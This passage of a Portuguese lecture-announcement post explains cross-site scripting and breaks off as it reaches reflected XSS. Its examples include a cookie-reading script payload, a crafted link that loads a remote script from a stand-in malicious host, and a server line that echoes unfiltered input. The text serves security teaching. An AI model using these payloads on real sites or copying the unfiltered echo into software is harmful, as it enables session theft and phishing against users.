Hoje a noite o professor Klever Cavalcanti estara na Escola Grau Tecnico para mais uma palestra sobre TI APLICADA A LOGISTICA- Segurancapara o bom funcionamento dalogistica. Abordando os principais ponto da TI na logistica e principalmente a seguranca da Informacao. Cross-site Scripting?O ataque de Cross-site scripting (XSS) consiste em uma vulnerabilidade causada pela falha nas validacoes dos parametros de entrada do usuario e resposta do servidor na aplicacao web. Este ataque permite que codigo HTML seja inserido de maneira arbitraria no navegador do usuario alvo.Tecnicamente, este problema ocorre quando um parametro de entrada do usuario e apresentado integralmente pelo navegador, como no caso de um codigo javascript que passa a ser interpretado como parte da aplicacao legitima e com acesso a todas as entidades do documento (DOM). Na pratica, o responsavel pelo ataque executar instrucoes no navegador da vitima usando um aplicativo web vulneravel, modificar estruturas do documento HTML e ate mesmo utilizar o golpe para perpetrar fraudes como phishing.Um bom exemplo e uma aplicacao como um forum, em que o usuario tenha permissao para incluir mensagens de sua propria autoria para que os outros usuarios possam ler. Se este aplicativo nao filtrar corretamente os codigos HTML, um usuario mal intencionado pode injetar instrucoes para leitura de informacoes especificas do usuario legitimo, tais como codigos de sessao, e ate mesmo executar tarefas especificas como enviar mensagens de maneira arbitraria para o forum.Tipos conhecidos de XSSPersistente (Stored)Neste caso especifico, o codigo malicioso pode ser permanentemente armazenado no servidor web/aplicacao, como em um banco de dados, forum, campo de comentarios etc. O usuario torna-se vitima ao acessar a area afetada pelo armazenamento do codigo mal intencionado.Esse tipo de XSS sao geralmente mais significativos do que outros, uma vez que um usuario mal intencionado pode potencialmente atingir um grande numero usuarios apenas com uma acao especifica e facilitar o processo de engenharia social. Em alguns casos, o navegador afetado pode ate mesmo se comportar como se estivesse infectado por um worm, replicando copias para cada usuario que execute o codigo mal intencionado.Exemplo de XSS persistente:Vamos supor que exista uma aplicacao web que permita a insercao de codigo HTML integralmente nos campos de entrada do nome e sobrenome no formulario para atualizacao das preferencias do usuario:<script>alert(document.cookie)</script>Desta forma, quando for executada uma busca pelos usuarios cadastrados, o codigo HTML acima sera executado assim que o usuario aparecer na relacao dos resultados da busca.Variacoes deste ataque podem ser utilizadas para permitir que o usuario mal intencionado modifique o codigo arbitrario de acordo com o tipo de requisicao ou cliente infectado, utilizando, por exemplo, uma referencia a um script remoto:<A HREF="http://confiavel.org.br/busca.cgi?CC=<SCRIPT SRC='http://malicioso.ck.bz/badguy.js'></SCRIPT>"> Va para Confiavel.org.br</A>Neste exemplo, o site confiavel nao possui filtros apropriados para proteger-se da insercao do codigo HTML que faz referencia ao script malicioso:echo <h1>Seu termo de busca e : + getParameter(CC) + </h1>;O codigo HTML executado no navegador do usuario alvo resultaria na carga arbitraria de um script estranho a aplicacao e contendo quaisquer tipos de instrucoes que o usuario mal intencionado deseje:<h1>Seu termo de busca e <SCRIPT SRC='http://malicioso.ck.bz/badguy.js'></SCRIPT></h1>Refletido (Reflected)A exploracao dessa vulnerabilidade envolve a elaboracao